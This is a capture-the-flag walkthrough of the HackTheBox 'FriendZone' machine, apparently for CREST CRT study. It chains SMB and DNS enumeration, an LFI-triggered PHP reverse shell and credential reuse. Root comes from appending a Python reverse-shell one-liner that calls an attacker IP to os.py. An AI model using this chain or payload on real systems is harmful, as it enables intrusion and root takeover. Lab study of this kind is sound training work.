We covered HackTheBox FriendZone as part of CREST CRT track. We went over DNS zone transfer, SMB enumeration and performed privilege escalation using python OS library.
FriendZone is an easy difficulty Linux box which needs fair amount enumeration. By doing a zone transfer vhosts are discovered. There are open shares on samba which provides credentials for an admin panel. From there, an LFI is found which is leveraged to get RCE. A cron is found running which uses a writable module, making it vulnerable to hijacking.
Initial Enumeration & Discovery
I started by performing an Nmap scan using nmap -A <IP_ADDRESS>
to scan the target machine for open ports and services. This revealed several open ports: 21 (FTP – no anonymous access), 22 (SSH), 53 (DNS), 80 (HTTP), 443 (HTTPS), and 139, 445 (SMB shares).
On the web front, browsing to the IP address on port 80 showed a webpage with the text “Have you ever been friendzoned?” and an email address info@friendzoneportal.red
, which hinted at a domain name. When I browsed to the IP address on port 443 (HTTPS), I initially saw a certificate warning. Inspecting the certificate revealed two domain names: friendzone.red
and friendzoneportal.red
. I added these domain names to my local /etc/hosts
file to resolve them to the target IP.
For SMB share enumeration, I used smbmap -H <IP_ADDRESS>
to list shares. I found print
, files
, General
, and development
. The General
share had “read-only” permissions, while the development
share had “read-write” permissions, which I noted as important for later.
I then accessed the General
share using smbclient //<IP_ADDRESS>/General -N
(the -N
flag is for anonymous login). Inside, I found a file named credentials
(or creds
). I downloaded it using get credits
and viewed its contents with cat creds
. The file contained credentials: admin
and a password, though these didn’t work for SSH at this stage. The development
share was empty initially, but its write permission was crucial.
DNS Enumeration & Finding a Login Portal
Since a DNS server was running on port 53, my next step was to enumerate DNS records, specifically looking for subdomains via a zone transfer. I used host -t axfr friendzoneportal.red <IP_ADDRESS>
(or friendzone.red
). This revealed new subdomains: administrator1
, uploads
, and hr
. I added these to my /etc/hosts
file as well.
Browsing to administrator1.friendzoneportal.red
(or the relevant discovered subdomain) revealed a login form. I successfully logged in using the admin
credentials I found earlier.
Exploiting Local File Inclusion (LFI)
After logging in, the dashboard URL had parameters like image_name
and page_name
, with page_name
seeming to load PHP files. This suggested a Local File Inclusion (LFI) vulnerability. For example, ...page_name=timestamp...
loaded a timestamp page. The application appeared to automatically append .php
to the page_name
value, making it difficult to read files like /etc/passwd
directly.
To exploit this, I combined LFI with the writable SMB share. I uploaded a PHP reverse shell to the development
SMB share. To trigger this shell via LFI, I needed the local path of the development
share on the server. I found the SMB share paths using nmap -p 445 --script smb-enum-shares --script-args smbusername=guest,smbpassword= <IP_ADDRESS>
. The path for the development
share was /etc/development
. I then used LFI to execute the uploaded PHP shell by crafting a URL like: ...page_name=/etc/development/your_reverse_shell_file_name_without_php_extension
. I started a netcat listener (nc -lvnp <PORT>
) on my attacker machine to catch the reverse shell.
User Privilege Escalation
After getting an initial shell, I navigated to /var/www/
and found a file named mysql_data.conf
. I viewed its contents with cat mysql_data.conf
. This file contained database credentials: DB_USER=friend
and a password. I used these credentials to SSH into the machine as the user friend
using ssh friend@<IP_ADDRESS>
. I could now access the user flag.
Root Privilege Escalation
For root privilege escalation, I used pspy64
to monitor running processes and cron jobs, especially those run by root. I downloaded pspy64
to the target machine (e.g., using wget
from a web server hosted on my attacker’s machine), made it executable with chmod +x pspy64
, and ran it with ./pspy64
.
pspy64
output revealed a Python script running as root: /opt/server_admin/reporter.py
. I viewed the script with cat /opt/server_admin/reporter.py
. The script imported the os
module and used os.system()
to execute commands (specifically a mail
command).
I decided to perform Python Library Hijacking. The idea was to modify the os.py
library file that the root script imported. Since the script ran as root, any code I added to os.py
would also execute as root. I identified the location of os.py
(e.g., /usr/lib/python2.7/os.py
). I then edited the os.py
file (e.g., using nano
or vi
) and added a netcat reverse shell command to the end of the file. An example line I added was: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",<LISTENER_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
.
I started a new netcat listener on my attacker’s machine on the port specified in the modified os.py
. When the cron job executed the reporter.py
script, it imported the modified os
module, triggering the reverse shell and granting me root access.
Technical Commands
Here are the technical commands I used:
nmap -A <IP_ADDRESS>
smbmap -H <IP_ADDRESS>
smbclient //<IP_ADDRESS>/General -N
get credits
(within smbclient)cat creds
host -t axfr friendzoneportal.red <IP_ADDRESS>
nmap -p 445 --script smb-enum-shares --script-args smbusername=guest,smbpassword= <IP_ADDRESS>
nc -lvnp <PORT>
cat mysql_data.conf
ssh friend@<IP_ADDRESS>
chmod +x pspy64
./pspy64
cat /opt/server_admin/reporter.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",<LISTENER_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
(This was added toos.py
)